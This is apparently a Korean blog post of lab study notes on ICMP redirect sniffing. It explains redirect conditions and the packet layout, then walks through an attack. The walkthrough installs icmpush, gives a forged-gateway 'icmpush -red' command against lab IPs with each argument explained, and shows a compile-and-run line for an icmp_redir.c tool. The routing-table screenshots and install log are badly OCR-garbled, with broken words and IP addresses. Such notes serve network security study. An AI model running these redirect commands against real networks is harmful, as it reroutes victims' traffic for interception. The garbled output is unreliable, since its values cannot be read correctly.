2020. 7. 8.

[Network]S03_02 ICMP 스니핑


*ICMP 리다이렉트 작동 원리


// 로드 밸런싱
리소스 두개를 자동으로 적당하게 돌아가면서 사용 퍼포먼스 향상을 위한 기술
ex). OS - CPU, 네트워크 - 라우터, DB - 파티션
하지만 자동으로 해두면 한쪽만 쓰게된다. 수동으로 처리해줘야 향상된다.
실제로 사용하기 어렵다.

발생 조건
  • 같은 네트워크내에 외부로 나가는 라우턱라 두개 이상 있어야 한다.
// 게이트웨이가 두개가 아니라 라우터가 두개이다.
  • 광대역 네트워크이여야 한다.
  • 정상적인 라우팅을 하는 라우터만 발생시킨다.

  1. 라우터가 두개라면 디폴트 게이트웨이는 하나로만 설정한다.
  2. 받은 도착지가 라우터 A 자기보다 빠르게 있다면 B에게 패킷을 보낸다.
  3. ICMP 리다이렉트 발생
이후 A 게이트웨이를 추가해주라고 패킷을 보낸 호스트에게 보낸다.
  1. 호스트는 디폴트라우터를 B 변경한다.

ICMP 리다이렉트는 윈도우 ME 이후로는 안된다. 유닉스도 기본으로 안된다.
방화벽을 내리거나(윈도우) 허용을(유닉스) 해줘야 한다.
라우팅 테이블 정보가 하나 들어가는것일뿐이다.
어떤 특정 사이트로 가는것을 공격할때 사용한다.

*ICMP redierct 패킷

패킷구조

Ethernet Header 
IP Header 
Type (I byte) 
Code (I byte) 
Checksum 
(4 byte) 
header (12 byte) 
Sl(sender IR: 4 byte) 
01 (Destination IP byte) 
Data (8 byte)

*ICMP 리다이렉트를 이용한 스니핑


icmp redirect 새로운 라우터가 추가하는것이다.


*ICMP 리다이렉트 공격

icmpush 설치
r00t@attacker_— 
[root@attacker yum install —Y icw)ush 
Loaded p lug ins: fastestm irror 
Loading mirror speeds from cached hostfi le 
epel: mirrors .kernel .org 
• rpmforge: ftp.riken.ip 
Setting up Install Process 
Resolving Dependencies 
Runn ing transact ion check 
Package icmpush. i386 . .e15.rf set to be updated 
> Finished Dependency Resolution 
Dependencies Resolved 
Package 
Install ing: 
i cmpush 
Transact ion 
Arch 
i 386 
Sumary 
Vers on 
2.2-1 .e15.rf 
Repos i tory 
rpmforge 
35 k
CentOS 6(5) 설치 가능
- rpmforge에서 제공

1. 대상 시스템의 라우팅 테이블확인
. WDocurnents and 
Sett ingst#b rochya>route PRINT 
Interface L Ist 
MS TCP Loopback nterface 
0003 ...OO oc 29 Be 81 8f 
Ato PCNET Fami ly PCI Ethernet Adapter - 
tive Routes: 
twork Oestination 
o o.o.o 
27 0.o.o 
192 .O 
92 .g 
. . Il .255 
224 0.o.o 
255 255 .255.255 
fau t Gateway: 
Net mask 
255.0 0.o 
255 .255.255 .o 
255 .255 255 .255 
255 .255 255 .255 
240.0 0.o 
255.255 255 255 
192.168,11. 
Gateway 
192 168. Il 
27 0.o.1 
192 . Il 
27 .o.o.l 
92 . 1 
192 168. Il 
192 168.11 
Interface 
168. Il 
127 0.o.1 
192 168. Il 
127 .o.o. 1 
192 188. Il 
192 168. Il 
192 168.11 
Metr c 
30 
30 
30 
30 
30 
-1
2. fragrouter를 이용 패킷 릴레이 실행

3. ICMP 리다이렉트 공격
icmpush를 이용한 redirect 공격
# icmpush –red –c host –gw 192.168.11.91 -sp 192.168.11.1
–dest 203.248.252.2 192.168.11.9
root@attacker:- 
[root@attacker icrw»ush —red —c host —gw 192 .168.11 .91 —sp 192 .168.11 . 
[root@attacker 
-dest 203.248.252.2 192.168.11.9
# icmpush –red –c host –gw <new gateway> -sp <gateway>
-dest <destination> <target>
① -gw : 새로 사용할 게이트웨이 IP(공격자 IP)
② -sp : 사용중인 게이트웨이 IP
③ -dest : 공격대상이 접속할 대상 서버의 IP
④ Target : 공격 대상 IP
⑤ Target dest에 접속할 때 sp가 아니라 gw를 이용한다.
// 원래 ICMP 정상적인 디폴트 게이트라우터가 보내기 때문에 해당 게이트웨이로 변조해서 보낸다.

4. 공격당한 시스템의 라우팅 테이블을 확인한다.

. WDocuments and 
Sett ingst#b rochya>route PRINT 
Interface L Ist 
MS TCP Loopback nterface 
0003 ...OO oc 29 Be 81 8f 
Ato PCNET Fami ly PCI Ethernet Adapter - 
192 
192 
tive Routes: 
twork Oestination 
o o.o.o 
27 0.o.o 
192 168.11 „o 
192 168. Il .g 
. . Il .255 
203.248 252.2 
224 0.o.o 
255 255.255.255 
fault Gateway: 
Net mask 
255.0 0.o 
255 255.255 .o 
255 .255 255 .255 
255 .255 255 .255 
255.255 255 255 
240.0 0.o 
255.255 255 255 
192.168,11. 
Gateway 
92 168. Il 
127 0.o.l 
92 168.11 .9 
27 .o.o.l 
92 .g 
IB2. 
88.11.91 
192 „g 
192 
Interface 
192 168. Il 
127 0.o.l 
192 168.11 .g 
127 .o.o.l 
Metr c 
30 
30 
30 
30 
30 
192 
168
• icmp redirect 공격은 방화벽이 활성화 되어있으면 수행되지 않는다.
대부분 시스템에서 공격이 통하지 않는다.
ICMP redirect 패킷을 캡쳐하고 내용을 분석하세요..

icmp_redir.c
gcc -o icmp_redir icmp_redir.c

icmp_redir 게이트웨이 공격 대상 외부 공격자주소
icmp_redir 192.168.11.1 192.168.119 203.248.252.2 192.168.11.91

댓글 없음:

댓글 쓰기